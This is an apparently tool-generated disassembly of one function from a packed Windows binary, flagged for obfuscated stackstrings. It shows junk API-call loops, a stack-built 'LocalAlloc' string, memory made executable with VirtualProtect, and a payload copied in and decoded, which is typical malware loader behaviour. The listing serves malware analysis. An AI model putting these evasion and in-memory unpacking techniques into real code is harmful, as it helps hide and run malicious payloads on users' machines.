Function at 0x401124
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa60
mov eax, dword [0x420c20]
xor eax, ebp
mov dword [ebp - 8], eax
push 0x170ea60
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x8aacc
jne 0x4011f4
mov dword [ebp - 0xa54], 0x4220a0
mov eax, dword [ebp - 0xa54]
inc eax
mov dword [ebp - 0xa58], eax
mov eax, dword [ebp - 0xa54]
mov al, byte [eax]
mov byte [ebp - 0xa59], al
inc dword [ebp - 0xa54]
cmp byte [ebp - 0xa59], 0
jne 0x401164
mov eax, dword [ebp - 0xa54]
sub eax, dword [ebp - 0xa58]
mov dword [ebp - 0xa60], eax
cmp dword [ebp - 0xa60], 0x90173
jne 0x4011f4
push ecx
push ecx
fld qword [0x419348]
fstp qword [esp]
call fcn.00405210
fstp st(0)
add esp, 8
push 1
push 3
lea ecx, [ebp - 0x898]
call fcn.00401573
push 0
call dword [sym.imp.ole32.dll_CoRegisterMallocSpy]
push 0
push 0
call fcn.004051f6
pop ecx
pop ecx
push 0
push 0x46
call fcn.00405026
pop ecx
pop ecx
push 0
call fcn.00404faa
pop ecx
lea ecx, [ebp - 0x898]
call fcn.00401508
and dword [ebp - 0x89c], 0
jmp 0x40120a
mov eax, dword [ebp - 0x89c]
inc eax
mov dword [ebp - 0x89c], eax
cmp dword [ebp - 0x89c], 0x20759a04
jge 0x4012a5
lea eax, [ebp - 0x9c8]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
cmp dword [ebp - 0x89c], 0x23a6
jge 0x401278
push 0
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
lea eax, [ebp - 0x9d8]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call sub.USER32.dll_DdeClientTransaction
push 0
lea eax, [ebp - 0x9d0]
push eax
lea eax, [ebp - 0x9d4]
push eax
lea eax, [ebp - 0x9cc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatus]
cmp dword [ebp - 0x89c], 0x21b54
jle 0x4012a0
movzx eax, word [ebp - 0x9b6]
cmp eax, 0x62edb11b
je 0x4012a0
cmp dword [ebp - 0x8a4], 0x3aac62a8
je 0x4012a0
jmp 0x4012a5
jmp 0x4011fd
mov eax, dword [0x420814]
mov dword [0x2357630], eax
mov eax, dword [0x2357630]
add eax, 0x3343d
mov dword [0x2357630], eax
and dword [ebp - 0x9dc], 0
jmp 0x4012d4
mov eax, dword [ebp - 0x9dc]
inc eax
mov dword [ebp - 0x9dc], eax
cmp dword [ebp - 0x9dc], 0x411fea
jge 0x4012fe
cmp dword [ebp - 0x9dc], 0x2506bc
jne 0x4012fc
push 0x4191e0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x170ea5c], eax
jmp 0x4012c7
mov byte [ebp - 0x403], 0x41
mov byte [ebp - 0x406], 0x63
mov byte [ebp - 0x400], 0x6f
mov byte [ebp - 0x401], 0x6c
mov byte [ebp - 0x408], 0x4c
mov byte [ebp - 0x3ff], 0x63
mov byte [ebp - 0x405], 0x61
mov byte [ebp - 0x404], 0x6c
mov byte [ebp - 0x402], 0x6c
mov byte [ebp - 0x407], 0x6f
mov byte [ebp - 0x3fe], 0
and dword [ebp - 0x9e0], 0
jmp 0x401361
mov eax, dword [ebp - 0x9e0]
inc eax
mov dword [ebp - 0x9e0], eax
cmp dword [ebp - 0x9e0], 0x1dcc9c
jge 0x401383
cmp dword [ebp - 0x9e0], 0x18c1
jge 0x401381
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomA]
jmp 0x401354
push dword [0x2357630]
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0xd6be10], eax
mov dword [ebp - 0x80c], 0xbb
sub dword [ebp - 0x80c], 0x7b
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x80c]
push dword [0x2357630]
push dword [0xd6be10]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
and dword [ebp - 0x9e4], 0
jmp 0x4013d9
mov eax, dword [ebp - 0x9e4]
inc eax
mov dword [ebp - 0x9e4], eax
cmp dword [ebp - 0x9e4], 0x543ec6
jge 0x401419
cmp dword [ebp - 0x9e4], 0x340471
jne 0x4013fb
mov eax, dword [0x41e008]
mov dword [0x2357634], eax
cmp dword [ebp - 0x9e4], 0x177
jge 0x401417
push str.hogidipokafusucoja_xifoguje_mi
push str.zigohaxafazenevidizahokaledeti_cegodacegudohakomojewe
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
jmp 0x4013cc
and dword [ebp - 0x9e8], 0
jmp 0x40142f
mov eax, dword [ebp - 0x9e8]
inc eax
mov dword [ebp - 0x9e8], eax
mov eax, dword [ebp - 0x9e8]
cmp eax, dword [0x2357630]
jae 0x401494
cmp dword [ebp - 0x9e8], 0x9b3
jge 0x401461
lea eax, [ebp - 0xa28]
push eax
push str.yitabemojeyuzebazobupuyobume_telawefibudi_wuzahibeligacaku
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringW]
mov eax, dword [0xd6be10]
add eax, dword [ebp - 0x9e8]
mov ecx, dword [0x2357634]
add ecx, dword [ebp - 0x9e8]
mov cl, byte [ecx + 0x3343d]
mov byte [eax], cl
cmp dword [ebp - 0x9e8], 0xe96
jge 0x401492
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x401422
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x170ea5c], eax
mov byte [ebp - 0x7ff], 0x6f
mov byte [ebp - 0x7fd], 0x65
mov byte [ebp - 0x7fb], 0x74
push 0x41e010
push dword [0x2357630]
push dword [0xd6be10]
call fcn.004010d5
nop
add dword [0x2357630], 0x106ebc58
call fcn.00401119
mov eax, dword [0x2357764]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov dword [eax + 4], 1
xor eax, eax
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004053b1
leave
ret 0x10